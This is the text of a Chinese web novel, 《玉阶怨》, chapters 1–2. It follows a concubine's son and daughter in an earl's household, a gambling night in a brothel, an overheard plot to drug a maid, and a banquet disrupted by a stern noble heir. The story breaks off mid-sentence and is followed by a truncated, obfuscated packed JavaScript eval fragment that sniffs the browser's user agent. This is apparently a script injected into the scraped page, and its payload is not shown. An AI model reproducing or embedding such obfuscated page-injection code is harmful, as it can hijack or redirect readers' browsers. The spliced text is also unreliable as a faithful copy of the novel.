《玉阶怨》 1. 第 1 章 正是仲春时节,永安伯府后园的西府海棠开得正盛,胭脂色的花瓣儿在暮色里洇成一片朦胧的霞。府内处处点起明角灯,丫鬟婆子们捧着黑漆戗金食盒鱼贯而行,往正院懋德堂去。 懋德堂内烛火通明,一张黄花梨木八仙桌上已摆开十六碟时令佳肴。主位坐着永安伯陈敬元,年过五旬,两鬓已见霜色,着一身石青色暗纹直身,腰间系着羊脂玉带,手中慢慢转着一对京师流行的“公子帽”核桃。他左手边坐着正室王氏,头戴金累丝点翠翟鸟冠,身穿沉香色织金缠枝牡丹纹大衫,面容端肃,正低声吩咐管事嬷嬷添菜。 右手边空着一个座位——那是留给嫡长子陈显祖的,偏巧今日去城外庄子查账未归。再往下,才轮到庶子陈显宗与庶女陈显薇。 陈显宗垂首坐在西边的位子上,盯着自己碗中那几片薄如蝉翼的火腿。他今年十九岁,生得眉目清秀,只是眉宇间总锁着一股郁气。身上穿着半旧的宝蓝色直裰,料子虽也是绸缎,却比父亲和嫡兄身上的云缎暗沉许多。 “显薇,”王夫人忽然开口,声音温和,“前儿李尚书夫人来做客,说起她家三小姐新得了幅仇十洲的《汉宫春晓图》,你可曾见过?” 陈显薇正在小口喝汤,闻言连忙放下汤匙,起身道了万福:“回母亲的话,女儿未曾见过。”她今年十六,穿着一身藕荷色绣玉兰花的比甲配马面裙,发髻上只簪着一对珍珠小簪,素净得与这满堂锦绣格格不入。说话时眼帘低垂,声音轻得几乎听不见。 王夫人“嗯”了一声,转向陈敬元笑道:“老爷可还记得,去年显祖生辰时,李尚书送的那幅唐寅真迹?我瞧着显薇也到了该学赏画的年纪,不如请个女先生来教教。” 陈敬元眼皮未抬,只淡淡道:“女子通些文墨便好,学那些做什么。”说完夹了一筷子清蒸鲥鱼放到王氏碗里,“你多吃些,近来气色不大好。” 王夫人脸上掠过一丝笑意,转瞬即逝。她斜睨了周氏一眼——那女人站在陈显宗身后的角落里,连上桌的资格都没有,只能侍立布菜。 周氏四十出头,风韵犹存,只是眼角已爬上细纹。她穿着一身半旧的月白交领衫,正默默给陈显宗添汤。听见老爷的话,她手中汤勺微微一颤,几点热汤溅在手背上,烫出一小片红痕,却不敢出声。 陈显宗看见母亲手背的红印,胸口一阵窒闷。他猛地起身,端起自己那碗火腿汤:“这汤凉了,姨娘给我换碗热的。” 周氏连忙接过,转身要去盛汤。王夫人忽然开口:“让丫鬟去便是。周姨娘,你且歇着罢。”语气温和,却让周氏僵在原地,进退不得。 陈显宗脸色涨红,正要说话,陈敬元已重重放下筷子:“食不言寝不语,这般毛躁,成何体统!” 满堂寂静。烛火跳动,在每个人脸上投下摇曳的阴影。 陈显薇悄悄扯了扯兄长的衣袖,示意他坐下。陈显宗咬紧后槽牙,慢慢坐回椅子。他垂下眼帘,盯着桌上那盘水晶烩蹄,只觉得胃里一阵翻搅。 这顿饭吃得味同嚼蜡。好容易熬到撤席,陈敬元起身时看了陈显宗一眼:“明日你随张先生温书,前日那篇制义重写。写不好,不准出门。” “是。”陈显宗低头应声,指甲深深掐进掌心。 静蕤轩在伯府最西边,是个一进的小院。院中种着几丛湘妃竹,夜风吹过,簌簌作响,像是在低声呜咽。 周氏点起一盏豆油灯,昏黄的光勉强照亮这间狭小的厢房。屋里陈设简单,只有一张榆木架子床、一个梳妆台并两个樟木箱子。墙上挂着一幅褪色的《麻姑献寿图》,还是她刚进府时老太太赏的。 “宗儿,今日在席上,你不该顶撞老爷。”周氏坐在床边,手里缝补着陈显宗一件旧衣的袖口,针脚细密得几乎看不见。 陈显宗站在窗前,背对着母亲。月光透过窗纸,在他脸上投下一片青白。“我何时顶撞了?不过是让姨娘坐下歇歇。” “你当我看不出?”周氏放下针线,声音里带着疲惫,“那碗汤分明还烫着。你是为我出头,可这般做,除了惹老爷不快,还能有什么好?” “我就是看不惯!”陈显宗猛然转身,眼眶发红,“姨娘在这府里二十年,生儿育女,操持家务,连上桌吃饭的资格都没有!太太身边的嬷嬷都能坐着用饭,姨娘却要站着布菜!这是什么道理?” “什么道理?”周氏苦笑,“庶出的道理。你当这是什么地方?这是伯府,是讲规矩的地方。我是妾,是奴婢,主子吃饭,奴婢伺候,天经地义。” “天经地义……”陈显宗喃喃重复这四个字,忽然笑起来,笑声凄凉,“好一个天经地义!那我呢?我也是庶出,所以我穿旧衣、坐末席、连出门会友都要看嫡母脸色——这也是天经地义?” 周氏站起身,走到儿子面前,伸手想摸他的脸,又停在半空。她看着这张与自己有七分相似的面容,想起十九年前那个春雨绵绵的夜晚,她在这间屋里生下他时的欢喜与惶恐。 那时她年轻,以为生了儿子就能在这深宅大院里站稳脚跟。如今才明白,庶子不过是另一个身份的奴婢,甚至比奴婢更难——奴婢还能赎身出去,庶子却一辈子都要背着这个“庶”字。 “宗儿,”她声音发颤,“姨娘知道你心里苦。可这就是命,咱们得认命。” “我不认!”陈显宗甩开母亲的手,声音压得很低,却字字咬牙,“显祖整日走马斗鸡,结交的不过是些纨绔子弟,父亲却把城外三个庄子都交给他管。我呢?我每日苦读,制义写得比书院里那些生员还好,父亲连正眼都不瞧!凭什么?” “凭他是嫡,你是庶。”周氏闭了闭眼,“这话我十九年前就该告诉你,可我总想着……总想着万一……” “没有万一。”陈显宗打断她,从怀里掏出一枚玉佩。那是周氏娘家带来的遗物,羊脂白玉雕成双鱼衔珠的样式,温润通透,是他十五岁生辰时姨娘偷偷塞给他的。 “姨娘,我今日出门,遇见卢家大公子卢弘义。他说,只要我肯跟他做事,一月能给五十两银子。”陈显宗摩挲着玉佩,“五十两,够咱们在荷花巷赁个两进的院子,再请个婆子伺候姨娘。” 周氏脸色煞白:“你说什么胡话!那卢弘义是什么人?京城有名的纨绔,盐商出身,满身铜臭!你是伯府公子,怎能与他为伍?” “伯府公子?”陈显宗笑了,“在这府里,我算哪门子公子?连管事的儿子都不如!至少人家能领月钱,能娶妻生子,能堂堂正正出门谋生。我呢?每月二两银子的月例,还得看账房脸色!” 他越说越激动,胸口剧烈起伏:“姨娘,我受够了!今日父亲让我重写制义,太太看我的眼神,就像看一条不听话的狗!我宁愿出去做卢家的账房,也好过在这里当这个‘庶子’!” “啪!” 一记清脆的耳光。 周氏手还停在半空,浑身发抖。她打过儿子,小时候淘气时打过,可从未像现在这样,用尽全身力气。 陈显宗偏着头,左脸上迅速浮起五指红痕。他没有哭,只是慢慢转回头,看着母亲,眼里最后一点光也熄灭了。 “你打我。”他说,声音平静得可怕,“姨娘也认为,我该认命。” “我不是……”周氏手软下来,眼泪夺眶而出,“宗儿,姨娘是怕……怕你一时冲动,毁了一辈子。那卢家是什么门第?你跟他混在一起,往后还怎么……” “怎么?”陈显宗笑了,“怎么考科举?怎么入仕途?姨娘,你当真以为,父亲会让我去考科举?会让一个庶子光耀门楣,压过嫡子的风头?” 他后退两步,转身朝门外走。 “宗儿!你去哪儿?”周氏追上去。 “出去走走。”陈显宗头也不回,“姨娘放心,我不会去卢家。我只是……透透气。” 门开了又关,湘妃竹在夜风里摇曳,沙沙声像是谁在低泣。 周氏扶着门框,慢慢滑坐在地上。她看着手中那件缝了一半的衣裳,忽然将脸埋进布料里,无声地哭起来。 出了伯府后门,穿过两条小巷,便是京城有名的销金窟——荷花巷。 此时华灯初上,整条街灯火通明,丝竹声、调笑声、猜拳行令声混成一片暖昧的喧哗。空气中飘着酒香、脂粉香和炙肉的烟火气,熏得人头晕目眩。 怡红院是这条街上最气派的妓馆,三层木楼飞檐翘角,檐下挂着一排大红纱灯,照得门前车马轿子流光溢彩。门口站着两个帮闲,见陈显宗过来,连忙堆笑迎上:“陈公子来了!卢公子已在二楼雅间候着您呢!” 陈显宗面无表情地点点头,跟着帮闲往里走。一楼大堂里,几个浓妆艳抹的粉头正在唱南曲,台下坐着各色男子,有的击节叫好,有的已醉眼朦胧地往粉头怀里塞银子。 上了二楼,喧哗声稍减。帮闲推开一间名为“醉月轩”的雅间门,里头立刻涌出一股混合着酒气、脂粉气和龙涎香饼的暖风。 “显宗!你可算来了!”一个穿着宝蓝织金曳撒的年轻男子从榻上跳起来,正是卢弘义。他约莫二十出头,生得浓眉大眼,只是眼泡浮肿,显是纵欲过度。此刻满面红光,一手搂着个穿桃红纱衣的粉头,一手举着酒杯朝陈显宗晃。 屋里还有三四个人,都是京中有名的纨绔,各自搂着粉头,桌上摆满了酒菜,已是杯盘狼藉。 陈显宗勉强扯出个笑容,在卢弘义身边坐下。立刻有个穿水绿衫子的粉头贴上来,软绵绵地靠在他肩上:“陈公子,今儿怎么来得这样晚?罚酒三杯!” 卢弘义哈哈大笑:“对对对!罚酒!桃红,给陈公子满上!” 叫桃红的粉头提起银执壶,斟了满满三大杯。陈显宗看着杯中晃动的液体,忽然想起静蕤轩那盏豆油灯,想起母亲含泪的眼睛。 他端起酒杯,一饮而尽。热辣的酒液烧过喉咙,呛得他咳嗽起来。 “好!”卢弘义拍手,“这才痛快!显宗,我就喜欢你这样,不像那些假清高的读书人,扭扭捏捏,装腔作势!” 旁边一个姓张的公子接口道:“就是!什么‘万般皆下品,惟有读书高’,我呸!这年头,有钱才是大爷!卢兄,你说是不是?” 卢弘义得意地晃着脑袋:“那是自然。我爹说了,只要银子够,连宫里的太监都能买通。读书?读书能当饭吃?” 满屋哄笑。陈显宗也跟着笑,又灌下一杯酒。酒意上来,眼前的一切开始模糊。桃红粉头的手在他胸前游走,软语温言,香气扑鼻。他忽然觉得,这样也好,醉生梦死,什么嫡庶尊卑,什么功名前程,都去他娘的。 “显宗,”卢弘义凑过来,满嘴酒气,“前儿跟你说那事儿,考虑得怎么样了?来我家的票号做账房,一月六十两,年底还有分红。比你那二两月例,强到天边去了!” 陈显宗怔怔地看着杯中酒,没说话。 “怎么?还舍不得你那‘伯府公子’的身份?”卢弘义嗤笑,“显宗,不是我说你,你那个爹,眼里只有你那个嫡兄。你就算读成状元,他能让你入阁拜相?做梦呢!” 这话像一把刀子,精准地戳进陈显宗心窝最痛的地方。他猛地又灌下一杯,酒液顺着下巴流进衣领。 “卢兄说得对。”他哑着嗓子道。 “这就对了!”卢弘义大喜,拍着他的肩膀,“来,咱们玩两把骰子,助助兴!” 帮闲立刻端上骨骰和陶盅。几轮下来,陈显宗面前的碎银子已输了大半。他眼也红了,从怀里掏出那枚双鱼玉佩:“这个,押上!” 卢弘义眼睛一亮:“好东西!羊脂玉,雕工也精致。行,这把你要是赢了,我加倍给你银子;要是输了,这玉佩归我,我再补你二十两,如何?” “好!”陈显宗抓起骰盅,用力摇晃。 骰子在盅里哗啦啦响,像命运无情的嘲笑。 开盅。 三点、四点、两点。 小。 卢弘义大笑:“承让承让!”伸手就去拿玉佩。 陈显宗盯着那三颗骰子,忽然觉得全身的力气都被抽空了。他想起十五岁生辰那夜,姨娘偷偷把这玉佩塞给他时说的话:“这是你外祖母留给我的,说是能保平安。宗儿,姨娘不求你大富大贵,只求你平平安安……” 平安? 他在这吃人的伯府里,何曾有过平安? “拿去吧。”陈显宗松开手,声音轻得像叹息。 卢弘义喜滋滋地把玉佩揣进怀里,又掏出两锭银子推过去:“显宗爽快!来,继续喝!” 酒一杯接一杯。陈显宗不知道自己喝了多少,只觉得天旋地转,耳边尽是男女调笑之声。桃红粉头的脂粉香熏得他恶心,他想吐,又强忍着。 恍惚间,他听见卢弘义在说:“……过几日有个好去处,南城新开了家赌局,里头花样多,还有色目人带来的胡姬,那身段……” 陈显宗闭上眼。他想,就这样吧,烂在这温柔乡里,总好过回那个冰冷的大宅,面对父亲冷漠的眼神,嫡母讥诮的嘴角,还有姨娘含泪的哀求。 子时三刻,荷花巷的喧嚣渐渐散去。大红纱灯依然亮着,只是光晕里已透出几分颓唐。 陈显宗踉踉跄跄地走出怡红院,夜风一吹,胃里翻江倒海,他扶着一棵槐树吐了起来。秽物混着酒气,熏得他自己都皱眉。 吐完了,他靠着树干喘息。月光冷冷地照在青石板上,像铺了一层薄霜。远处传来打更声:“天干物燥 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伯府后门到了。守门的王老汉正在打盹,听见动静睁开眼,见是陈显宗,连忙开门,压低声音道:“二公子,您可回来了。老爷今儿心情不好,您快些回屋吧。” 陈显宗点点头,塞给王老汉几个铜钱,悄声进了门。 府里一片寂静。月光透过树枝,在青石路上投下斑驳的影子。陈显宗绕过正院,往西边静蕤轩走。经过花园时,他看见荷塘里残荷枯败,在月光下像一个个黑色的鬼影。 忽然,他听见假山后有窸窸窣窣的动静。 “……姨娘放心,我都打点好了。那药每日只放一点点,三个月后,保管她再也生不出……” 是个女人的声音,压得很低。 陈显宗酒醒了大半,屏住呼吸,悄悄靠近。 “……可万一被发现了……” “发现不了。那药无色无味,银针都试不出。再说了,她一个通房丫头,就算真怀上了,能不能生下来还两说呢……” 陈显宗听出来了,这是王氏身边李嬷嬷的声音。至于那个“她”,想必是父亲新收的通房丫鬟碧桃。 他靠在假山上,只觉得浑身发冷。这就是深宅大院,表面花团锦簇,底下却是吃人不吐骨头的深渊。今日是碧桃,明日会不会是姨娘?会不会是显薇? 他忽然想起显薇那双总是低垂的眼睛,想起她说话时轻得几乎听不见的声音。她才十六岁,已经学会在这大宅里把自己缩成一道影子。 一阵恶心涌上来,陈显宗捂住嘴,快步离开。 静蕤轩的灯还亮着。 陈显宗推开院门,看见母亲坐在屋前台阶上,身上披着一件旧袄子,手里还拿着那件没缝完的衣裳。 “姨娘,怎么不进屋?”他声音沙哑。 周氏抬起头,眼睛红肿,显然是哭过。看见儿子回来,她连忙起身:“宗儿,你回来了。我去给你热醒酒汤。” “不用。”陈显宗拦住她,“我不喝。” 母子俩站在院里,相对无言。月光洒下来,把两个人的影子拉得很长。 许久,周氏轻声问:“玉佩呢?” 陈显宗别过脸:“……当了。” “当了?”周氏声音发颤,“当了多少钱?” “二十两。”陈显宗从怀里掏出那锭银子,递过去,“姨娘收着,添件新衣裳,或是打副头面。” 周氏没接银子,只是看着他,眼泪又流下来:“宗儿,那是你外祖母留下的唯一念想……” “念想有什么用?”陈显宗忽然激动起来,“能当饭吃?能当衣穿?姨娘,这府里谁看得起咱们?咱们守着那点念想,就能改变什么?” 他越说声音越大:“今日我听见李嬷嬷在花园里说话,她们要给碧桃下药,让她生不出孩子!碧桃才十七岁!这就是咱们待的地方!吃人的地方!” “宗儿!”周氏捂住他的嘴,惊慌地看向四周,“小声些!” 陈显宗扒开她的手,眼睛赤红:“我为什么要小声?我凭什么要小声?我是这府里的二公子,可我活得连条狗都不如!今日父亲让我重写制义,不就是因为太太说了一句‘庶子写的文章,到底气弱’?我写得再好有什么用?在她们眼里,我永远低人一等!” “那你想怎么样?”周氏也急了,“去跟卢弘义混?去赌局?去妓馆?这就是你的出路?” “至少痛快!”陈显宗吼道,“至少不用看人脸色!至少我能堂堂正正挣银子,养活姨娘!” “我不需要你养活!”周氏泪如雨下,“我只要你好好活着,平平安安地活着!宗儿,姨娘求你了,别走歪路……” “什么是正路?”陈显宗笑了,笑得比哭还难看,“考科举?父亲会让我考吗?就算考上了,他们会让我做官吗?姨娘,你醒醒吧!咱们这辈子,注定要在这大宅里烂掉!” 他说完,转身进屋,“砰”地关上门。 周氏站在院里,月光把她单薄的身影照得像一片随时会飘走的叶子。她看着手里那锭银子,忽然想起很多年前,她刚进府的时候。 那时她十六岁,是老太太身边的丫鬟。老爷看中她,收做通房。她以为自己飞上枝头,却不知是从一个火坑跳进另一个火坑。 这深宅大院,吃掉了她的青春,吃掉了她的尊严,现在,还要吃掉她的儿子。 屋里传来压抑的哭声。是陈显宗在哭。 周氏慢慢蹲下身,把脸埋进膝盖里。她想起儿子小时候,最爱缠着她讲故事。那时他眼睛亮晶晶的,说长大了要考状元,要让她过好日子。 是从什么时候开始,那双眼里的光,一点点熄灭了? 夜风吹过,湘妃竹又沙沙地响起来。远处传来三更的梆子声,在这深宅大院里,显得格外凄凉。 周氏抬起头,看着那扇紧闭的房门。她知道,有些东西已经碎了,再也拼不回去。 就像那枚双鱼玉佩,一旦离了身,就再也回不来了。 她慢慢站起身,擦干眼泪,走进厨房。灶台上温着一碗醒酒汤,她端起来,走到儿子房门前,轻轻敲门。 “宗儿,开门。姨娘给你送汤。” 屋里哭声停了。许久,门开了一条缝。 陈显宗站在门里,脸上泪痕未干,眼睛肿得像个桃子。 周氏把汤碗递过去,轻声道:“喝了汤,好好睡一觉。明日……明日姨娘去求老爷,让你去庄子上住些日子,散散心。” 陈显宗接过碗,热汤的蒸汽熏湿了他的眼。 他低下头,看见碗里自己的倒影,扭曲,破碎。 像他的人生。 2. 第 2 章 永安伯府老夫人七十大寿的正日子,是三月十八。 这日天刚蒙蒙亮,府里上下便忙开了。丫鬟婆子们穿行如梭,捧果盘的、搬椅凳的、挂灯笼的,脚步轻快却不敢出声,只听得见裙裾摩擦的窸窣声。正院庆颐堂前早早搭起了戏台,猩红毡毯从堂内一直铺到院门口,两旁摆满了各府送来的寿礼:三尺高的珊瑚树、整块和田玉雕的麻姑献寿、紫檀嵌螺钿的八仙过海屏风……在晨光里泛着冷硬的光泽。 陈显薇天未亮就起来了。她坐在镜前,由丫鬟翠儿梳头。镜中的人儿穿着新做的藕荷色绣折枝玉兰襦裙,外罩月白比甲,发髻梳得一丝不乱,簪着母亲周姨娘压箱底的一支鎏金点翠蜻蜓簪——那是姨娘年轻时得的赏,一直舍不得戴。 “小姐今日真好看。”翠儿轻声说。 陈显薇垂下眼帘,没有接话。她知道今日这身打扮,在满堂珠翠中仍是寒酸的。王夫人前日就命人给嫡女显蓉送了新做的衣裳首饰:大红遍地金通袖袄、翡翠头面、赤金璎珞项圈。而她,一个庶女,能有身新衣裳已是体面。 “三公子呢?”她忽然问。 翠儿手顿了顿,低声道:“三公子一早就出门了,说是去书院温书。” 陈显薇心里一紧。她知道兄长是在躲——躲这场寿宴,躲那些审视的目光,躲父亲可能当众给的难堪。自从那夜母子争吵后,陈显宗越发沉默,每日早出晚归,有时身上还带着酒气。 “小姐,”翠儿小心翼翼地说,“夫人传话,让您辰时三刻就去庆颐堂候着,帮着招呼各府小姐。” “知道了。”陈显薇站起身,理了理裙摆。铜镜里映出她清秀却苍白的脸,眉眼间是与年龄不符的沉静,或者说,是认命。 辰时刚过,宾客便陆续到了。 最先来的是杨廷鹤老大人一家。杨老大人虽已致仕,但在清流中威望犹存,今日带着长孙杨明远前来贺寿,给足了永安伯府面子。 杨明远今年二十有二,穿一身月白直裰,腰系青玉带,头戴方巾,通身上下无半点奢华装饰,却自有一股书卷清气。他生得眉目疏朗,面容温润,尤其一双眼睛,清澈如秋水,看人时总是含着三分笑意,不卑不亢。 此刻他正扶着祖父下轿,动作轻缓恭敬。早有管事迎上来,连声道:“老大人亲临,蓬荜生辉!快请进!” 杨廷鹤笑着摆摆手,转向杨明远:“明远,将寿礼奉上。” 杨明远应了一声,从身后小厮手中接过一个锦盒,双手递给管事:“家祖父手书寿联一副,聊表心意,还望笑纳。” 管事连忙接过,当众展开。是一副洒金红纸对联,笔力遒劲,墨色沉厚: 鹤算千年寿 松龄万古春 落款“晚生杨廷鹤敬贺”,钤着一方朱文小印。 围观众人无不赞叹:“杨老大人的字,真是愈老愈见风骨!”“这寿联选得也好,雅致不俗!” 杨明远只是微笑听着,并不接话。他目光扫过满院奢华陈设,眉头几不可察地微蹙了一下,又迅速恢复如常。 这时王夫人带着陈显蓉、陈显薇迎了出来。显蓉今日打扮得花团锦簇,见了杨明远,脸颊微红,上前福了一福:“杨公子安好。” 杨明远还礼:“陈小姐安好。”目光却落在显蓉身后的陈显薇身上。那姑娘穿着一身素净衣裳,低着头,像一株开在角落的玉兰,安静得不惹人注意。 “这是小女显薇。”王夫人淡淡介绍。 陈显薇这才抬起头,飞快地看了杨明远一眼,又垂下眼帘:“杨公子。” 声音轻得像羽毛拂过。杨明远心中一动,想起前些日子听说的传闻:永安伯府庶出的四小姐,生母是不得宠的周姨娘,在府中日子艰难。今日一见,果然如此。 “陈四小姐。”他温声还礼,语气里多了几分不易察觉的柔和。 众人簇拥着杨廷鹤祖孙往庆颐堂走。经过回廊时,杨明远看见几个粗使婆子正抬着一筐残羹剩菜往后院去——那是昨日试菜剩下的,鸡鸭鱼肉只动了几筷子,便整盘倒掉。他脚步顿了顿。 “杨公子?”引路的管事回头。 “无事。”杨明远笑笑,跟上祖父。 庆颐堂内已是宾客满堂。 正北墙上挂着南极仙翁献寿图,图下摆着紫檀雕花太师椅,铺着大红金钱蟒坐垫。老夫人今日穿着赭色五福捧寿纹褂子,头戴镶祖母绿抹额,满面红光地坐在椅上,接受众人拜贺。 王夫人领着女眷在东边落座,陈敬元则带着男宾在西边。中间隔着一道十二扇的紫檀嵌玉石屏风,影影绰绰,既合礼数,又不阻隔视线。 戏台上正唱《蟠桃会》,锣鼓喧天,花旦水袖翻飞。台下觥筹交错,笑语喧哗。丫鬟们穿梭上菜,一道道珍馐流水般端上来:燕窝鸡丝汤、海参烩猪筋、鲜蛏萝卜丝羹、糟蒸鲥鱼、炙烤鹿脯……皆是时令难寻的佳肴。 杨明远坐在祖父下首,面前杯盏玲珑,他却有些食不知味。方才入席前,他经过荷花巷街口,看见十几个衣衫褴褛的饥民蜷缩在墙角,有老人,有孩童,个个面黄肌瘦。一个妇人抱着个婴儿,婴儿啼哭声微弱得像小猫。 他让书童把随身带的干粮分了些给他们,可那点东西,杯水车薪。 此刻坐在这华堂之中,耳边是丝竹管弦,眼前是美酒佳肴,鼻端萦绕着酒肉香气,他却总想起那妇人空洞的眼睛,想起婴儿无力的哭声。 “明远,”杨廷鹤低声唤他,“怎么了?” “祖父,”杨明远斟酌着词句,“孙儿方才来时,见街口有饥民……” 杨廷鹤叹了口气,拍拍他的手背:“今日是老夫人寿辰,莫提这些。待寿宴过了,你让府里熬几锅粥施舍便是。” 杨明远点点头,心里却仍沉甸甸的。他抬眼看向屏风那侧,隐约可见女眷们珠翠环绕,笑语嫣然。陈显蓉正与几个贵女说笑,声音娇脆;陈显薇却独自坐在角落,默默夹着面前一盘素菜。 不知怎的,他想起自己家中那些堂姐妹。杨家虽也是世家,但祖父为官清廉,家道早已中落,姐妹们平日衣着朴素,从不敢如此奢靡。可即使如此,比起街口那些饥民,已是天上地下。 “杨公子,”旁边一位官员举杯,“久闻公子才名,今日得见,果然丰神俊朗,不愧是杨老大人嫡孙!来,我敬公子一杯!” 杨明远连忙起身回敬:“大人谬赞,晚生愧不敢当。” 酒过三巡,气氛越发热闹。有人提议行酒令,以“寿”字为题。轮到杨明远时,他略一思索,吟道: “寿域宏开登耄耋,恩光普照乐康宁。但祈岁稔民安乐,共沐尧天舜日情。” 最后两句一转,从祝寿转到祈愿民安,立意顿时高了一层。满座纷纷叫好:“杨公子果然心怀百姓!”“不愧是清流之后!” 陈敬元也点头微笑,对杨廷鹤道:“明远贤侄年纪轻轻,便有如此胸襟,将来必成大器。” 杨廷鹤捻须微笑,眼中却有忧色。他这孙儿什么都好,就是太过仁善,看不得民间疾苦。在这污浊朝堂,仁善有时反而是软肋。 宴至半酣,门外忽然传来一阵喧哗。 守门的小厮连滚爬进来,脸色煞白:“老、老爷!……忠顺世子到!” 满堂瞬间寂静。 戏台上的锣鼓停了,宾客们举杯的手僵在半空,连屏风后的女眷都屏住了呼吸。 忠顺世子萧道煜——这个名字在京城权贵圈里,是令人又惧又厌的存在。谁不知道这位世子爷?年纪轻轻执掌北镇抚司,手段酷烈,行事乖张,满朝文武见他都要退避三舍。更兼生得一副妖异容貌,男生女相,那双琥珀金色的眼睛看人时,冷得像冰锥子。 他怎会来永安伯府的寿宴? 陈敬元急忙起身,整了整衣冠,快步迎出去。王夫人也带着女眷起身,垂首肃立。 脚步声由远及近,不疾不徐,每一步都像踏在人心上。 先映入眼帘的是一双皂色官靴,踏在猩红毡毯上,无声无息。往上,是绯色官袍的下摆,绣着狰狞的獬豸纹。再往上,是玉带,是挺拔如竹的身形,是—— 满堂抽气声。 萧道煜今日未戴冠,鸦青长发只用一根白玉簪松松绾着,几缕发丝垂在颊边。面若敷粉,唇色绯然,一双桃花眼本该多情,偏生瞳仁是罕见的琥珀金色,此刻冷冰冰扫过全场,像寒冬深潭的水。 他生得太美,美得近乎妖异。可那美里淬着毒,带着刃,让人不敢直视。 “下官参见世子爷!”陈敬元躬身行礼,声音发紧。 萧道煜没理他,目光在堂内转了一圈,最后落在满桌珍馐上。他唇角微勾,似笑非笑:“好热闹的寿宴。” 声音清冷,像玉石相击。 “世子爷大驾光临,蓬荜生辉。”陈敬元硬着头皮道,“还请上座……” “不必。”萧道煜打断他,径自走到主桌前,拿起一只酒盏——那是老夫人专用的赤金嵌宝酒杯。他端详着杯上精致的浮雕,忽然问:“这一只杯子,值多少银子?” 陈敬元一愣:“这……下官不知。” “吾告诉你,”萧道煜放下杯子,声音不大,却字字清晰,“这一只杯子,够城外一户五口之家吃三年。” 满堂死寂。 戏台上的伶人早已跪伏在地,瑟瑟发抖。宾客们面面相觑,有人脸色发白,有人暗自恼怒,却无人敢出声。 萧道煜转身,面向众人。他身形其实单薄,肩骨伶仃,可往那一站,却有种压得人喘不过气的威仪。 “吾从北镇抚司过来,路过荷花巷街口,”他慢慢说,每个字都像冰珠子砸在地上,“看见十七个饥民,三个老人,四个孩童。一个妇人抱着个婴儿,婴儿饿得连哭的力气都没有了。” 他顿了顿,琥珀金色的眼睛在烛光下似有熔金流动:“那妇人求吾施舍一口吃的,吾告诉她,往东走三条街,永安伯府正在摆寿宴,席上有吃不完的鸡鸭鱼肉,喝不完的美酒琼浆。你们猜,她怎么说?” 无人敢答。 萧道煜笑了,笑意未达眼底:“她说,贵人莫开玩笑,那是伯府,我们这些贱民,连后门都挨不着。” 他走到桌边,端起一盘刚上的蟹粉狮子头——那蟹粉是用十只阳澄湖大闸蟹的膏黄熬成,一盘价值不下十两银子。 “这一盘,”他举高盘子,让所有人看清,“够那十七个人吃七十天。”*1 “哐当!” 盘子摔在地上,瓷片四溅,金黄的蟹粉泼了一地。 满堂惊呼。 陈敬元脸色铁青,却不敢发作。王夫人捂着胸口,几乎晕厥。屏风后的女眷们噤若寒蝉,陈显蓉吓得躲到母亲身后,只有陈显薇,透过屏风缝隙,怔怔看着那个绯色身影。 杨明远站起身。 他面色苍白,手在袖中微微发抖。萧道煜的每一句话,都像鞭子抽在他心上。方才他还想着施粥,还为自己的善举暗自欣慰,可比起这盘摔碎的蟹粉狮子头,他那点施舍何其可笑! “世子爷,”他开口,声音有些哑,“百姓疾苦,我等皆知。今日老夫人寿宴,固然奢靡,却也合礼制。世子爷心怀百姓是好的,可这般当众折辱,是否……” “是否什么?”萧道煜转头看他,目光如刀,“是否太过?是否不给伯府留颜面?” 他走近几步,盯着杨明远:“杨公子,吾认得你。杨廷鹤的孙子,清流之后,温润如玉,心怀仁义——京城都这么传,是不是?” 杨明远抿紧唇。 “那你告诉本世子,”萧道煜的声音陡然转厉,“你坐在这里,吃着三十两银子一盘的菜,喝着五十两银子一壶的酒,看着门外饥民饿死,你的‘仁义’在哪里?你的‘温润’又是什么?是粉饰太平的虚伪,还是麻木不仁的冷漠?” 字字诛心。 杨明远踉跄后退一步,脸色惨白如纸。他想反驳,想说杨家也常施粥舍米,想说祖父为官清正……可话到嘴边,却一个字也吐不出来。 因为萧道煜说的,都是事实。 这满堂锦绣,这珍馐美酒,门外那些饥民,终其一生也尝不到一口。 “世子爷,”杨廷鹤缓缓起身,将孙子护在身后,“明远年轻,言语不当,老朽代他赔罪。世子爷心系黎民,老朽敬佩。只是今日毕竟是寿宴,可否……” “寿宴?”萧道煜冷笑,“杨老大人,您是三朝老臣,最该知道‘朱门酒肉臭,路有冻死骨’是什么意思。老夫人七十大寿,是该庆贺。可这般庆贺法,是要折寿的。” 他环视全场,目光所及,众人无不低头。 “吾今日来,不是贺寿,是来提醒各位,”他一字一顿,“别忘了,你们吃的每一口山珍海味,穿的每一寸绫罗绸缎,都是民脂民膏。吃的时候,想想门外那些饿着肚子的人。穿的时候,想想那些衣不蔽体的人。” 他转身,朝老夫人方向微微颔首:“老夫人,恕吾无礼。祝您福寿安康——但愿这福寿,不是建在百姓尸骨上的。” 说完,拂袖而去。 绯色官袍在门口一闪,消失在春光里。 留下满堂死寂,和地上那滩渐渐冷却的蟹粉。 寿宴是再也进行不下去了。 宾客们纷纷告退,个个面色尴尬,脚步匆匆。戏班子早已悄悄撤下,丫鬟婆子们低着头收拾残局,不敢发出半点声响。 庆颐堂内,老夫人气得浑身发抖,指着陈敬元:“你……你请的好客!” “母亲息怒,”陈敬元冷汗涔涔,“儿子也不知世子爷会来……” “不知?你是永安伯!连个帖子都看不住!”老夫人猛拍扶手,“今日这脸,丢到全京城了!往后我还怎么出门见人!” 王夫人连忙上前顺气,却被老夫人一把推开:“还有你!办的什么寿宴!这般招摇,不是等着让人抓把柄!” 王夫人委屈得眼圈发红,却不敢辩驳。 屏风后,女眷们早已散去。陈显蓉哭着被丫鬟扶回房,陈显薇却独自站在廊下,望着萧道煜离去的方向出神。 那个人……真敢说啊。 那些话,她在心里想过千百遍,却从不敢说出口。不只是不敢,是知道说了也没用。这世道就是这样,朱门就是朱门,寒门就是寒门,隔着一条街,就是两个世界。 可那个人说了,当着所有人的面,摔了盘子,撕开了这锦绣包裹的脓疮。 她忽然觉得,那身绯色官袍,耀眼得灼人。 杨明远扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 